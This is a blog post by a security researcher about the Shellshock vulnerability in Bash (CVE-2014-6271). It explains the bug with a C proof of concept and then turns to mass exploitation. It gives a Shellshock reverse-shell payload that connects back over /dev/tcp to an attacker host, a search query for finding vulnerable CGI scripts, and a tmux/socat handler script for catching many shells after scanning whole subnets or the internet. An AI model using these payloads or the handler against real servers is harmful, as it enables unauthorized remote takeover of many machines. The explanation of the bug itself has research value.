Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

CVE-2014-6271 / Shellshock & How to handle all the shells! ;)

For the TL;DR generation: If you just want to know how to handle all the shells, search for “handling all the shells” and skip down to that. ;)

CVE-2014-6271, also known as “Shellshock”, is quite a neat little vulnerability in Bash. It relies on a feature in Bash that allows child processes to inherit shell functions that were defined in the parent. I have played around with this feauture before, many years ago, since it could be abused in another way in cases where SUID-programs execute external shell scripts (or use system()/popen(), when /bin/bash is the default system shell) and with certain daemons that support environment variable passing. When a SUID-program is the target, the SUID-program must first do something like setuid(geteuid()) for this to be exploitable, since inherited shell functions are not accepted when the UID differs from the EUID. When SUID-programs call out to shellscript helpers (that need to be executed with elevated privileges) this is usually done, since most shells automatically drop privileges when starting up.

In those cases, it was possible to trick Bash into executing a malicious shell function even when PATH is set explicitly to a “safe” value, or even when the full path is used for all calls to external programs. This was possible due to Bash happily accepting slashes within shell function names. :) This example demonstrates this problem, as well as the new (and much more serious) CVE-2014-6271 vulnerability.

je@tiny:~$ cat > bash-is-fun.c
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include 
#include 
 
int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };
 
    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}
^D
je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me

As you can see, the environment variable named “/usr/bin/id” is set to “() { cmd1; }; cmd2”. Due to the CVE-2014-6271 vulnerability, any command that is provided as “cmd2” will be immediately executed when Bash starts. Due to the peculiarity I was already familiar with, the “cmd1” part is executed when trying to run id in a “secure” manner by providing the full path. :)

One of the possibilities that crossed my mind when I got to know about this vulnerability was to exploit this over the web, due to CGI programs using environment variables to pass various information that can be arbitrarily controlled by an attacker. For instance, the user-agent string, is normally passed in the HTTP_USER_AGENT environment variable. It turns out I was not alone in thinking about this though, and shortly after information about the “Shellshock” vulnerability was released, Robert Graham at Errata Security started scanning the entire internet for vulnerable web servers. Turns out there are quite a few of them. :) The scan is quite limited in the sense that it only discovers cases where the default page (GET /) of the default virtual host is vulnerable, and it only uses the Host-, Referer- and Cookie-headers. Another convenient header to use is the User-Agent one, that is normally passed in the HTTP_USER_AGENT variable. Another way to find lots and lots of potentially vulnerable targets is to do a simple google search for “inurl:cgi-bin filetype:sh” (without the quotes). As you may have realized by now, the impact of this vulnerability is enormous.

So, now to the part of handling all the shells. ;) Let’s say you are testing a large subnet (or the entire internet) for this vulnerability, and don’t want to settle with a ping -c N ADDR-payload, as the one Robert Graham used in his PoC. A simple netcat listener is obviously no good, since that will only be useful to deal with a single reverse shell. My solution gives you as many shells as the amount of windows tmux can handle (a lot). :)

Let’s assume you want a full reverse-shell payload, and let’s also assume that you want a full shell with job-control and a pty instead of the less convenient one you usually get under these circumstances. Assuming a Python interpreter is installed on the target, which is usually a pretty safe bet nowadays, I would suggest you to use a payload such as this (with ADDR and PORT replaced with your IP and port number, of course):

() { :; }; bash -c 'python -c "import pty; pty.spawn(\"/bin/bash\")" <> /dev/tcp/ADDR/PORT >&0 2>&0'

To try this out, just run this in one shell to start a listener:

stty -echo raw; nc -l 12345; stty sane

Then do this in another shell:

bash -c 'python -c "import pty; pty.spawn(\"/bin/bash\")" <> /dev/tcp/127.0.0.1/12345 >&0 2>&0'

To deal with all the shells coming your way I would suggest you to use some tmux+socat-magic I came up with when dealing with similar “problems” in the past. ;)

Place the code below in a file named “alltheshells-handler” and make it executable (chmod 700):

#!/bin/sh
tmux has-session -t alltheshells 2>/dev/null \
  || tmux new-session -d -s alltheshells "cat>/dev/null" \; rename-window info
tmux send-keys -t alltheshells:info "$(date '+%Y-%m-%d %H:%M:%S') Received a shell from $SOCAT_PEERADDR" Enter
mkdir /tmp/alltheshells 2>/dev/null
tmux new-window -d -t alltheshells -n "$SOCAT_PEERADDR" \
  "sleep 1; stty -echo raw; socat unix-client:/tmp/alltheshells/$$.sock -; stty sane; echo; echo EOF; read"
socat unix-listen:/tmp/alltheshells/$$.sock -

Execute this command to start the listener handling all your shells (replace PORT with the port number you want to listen to):

socat tcp-l:PORT,reuseaddr,fork exec:./alltheshells-handler

When the shells start popping you can do:

tmux attach -t alltheshells

The tmux session will not be created until at least one reverse shell has arrived, so if you’re impatient just connect to the listener manually to get it going.

If you want to try this with my personal spiced-up tmux configuration, download this:
http://pastebin.com/8YivrXDC

Switch between windows (shells) by simply using ALT-n / ALT-p for the next/previous one. Note that I use ALT-e as my meta-key instead of CTRL-B, since I use CTRL-B for other purposes. Feel free to change this to whatever you are comfortable with. :)